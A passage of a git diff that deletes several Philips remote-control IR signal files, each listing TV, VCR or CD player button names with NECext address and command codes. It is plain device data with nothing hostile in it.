-protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir deleted file mode 100644 index d4e0b2cc2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: singele_double_digits -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: C/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_N -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: brightness_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: brightness_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: contrast_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: contrast_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: bass_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: bass_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: treble_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: treble_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: balance_left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: balance_right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: tt_menu_enter -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: tt_next -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: swap_channel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: stereo_dunno -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: alt_power -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_3_and_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: tt_shrink -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: tt_clock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: tt_expand -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: tt_question -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: tt_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: tt_halfimage -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: vcr_rewind_yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: vcr_fastforward_blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: tt_info -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: vcr_stop_green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: vcr_playrecord_red -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: IN_OUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: tt_on -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: tt_off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir deleted file mode 100644 index e6fc37cba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 43 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 4E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 58 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 83 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 84 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CB 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CC 00 00 00 -# -name: themes -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CD 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CE 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CF 00 00 00 -# -name: opts -type: parsed -protocol: NECext -address: 27 00 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir deleted file mode 100644 index 60c374f65..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: t- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: p-p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: iii -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: f+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: f- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir deleted file mode 100644 index d190d115b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: TV_PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TV_OSD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VCR_OSD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: TV_VOL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TV_VOL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: TV_PRESET+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: VCR_PRESET+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: TV_PRESET- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: VCR_PRESET- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: TV_CENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: VCR_CENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: TV_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: VCR_TIME -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: TV_RESIZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: VCR_RESIZE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: TV_QUESTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: VCR_QUESTION -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TV_MIXED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: VCR_MIXED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: VCR_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: VCR_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: TV_VT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: VCR_VT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: TV_PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4D 00 00 00 -# -name: TV_MINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: VCR_MINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4E 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: TV_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: TV_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: TV_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: TV_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: TV_GREY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: VCR_IDX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6F 00 00 00 -# -name: TV_STORE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 -# -name: VCR_STORE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir deleted file mode 100644 index 105a7932d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Cero -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: Uno -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: Dos -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: Tres -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: Cuatro -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: Cinco -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: Seis -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: Siete -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: Ocho -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: Nueve -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: DBB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: Stereo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: Spatial -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: Arriba -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Abajo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: Out -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: Izquierda -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: Derecha -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir deleted file mode 100644 index 1b5919a44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 24 00 00 00 -# -name: CD_SYNC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 28 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 2D 00 00 00 -# -name: FAST -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 32 00 00 00 -# -name: FORW -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 37 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 38 00 00 00 -# -name: TRACK_INCR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 72 00 00 00 -# -name: FINE_TUNE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir deleted file mode 100644 index 9215649a3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: pilot -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: tvsat -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: serv -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: twoje -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: perso -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 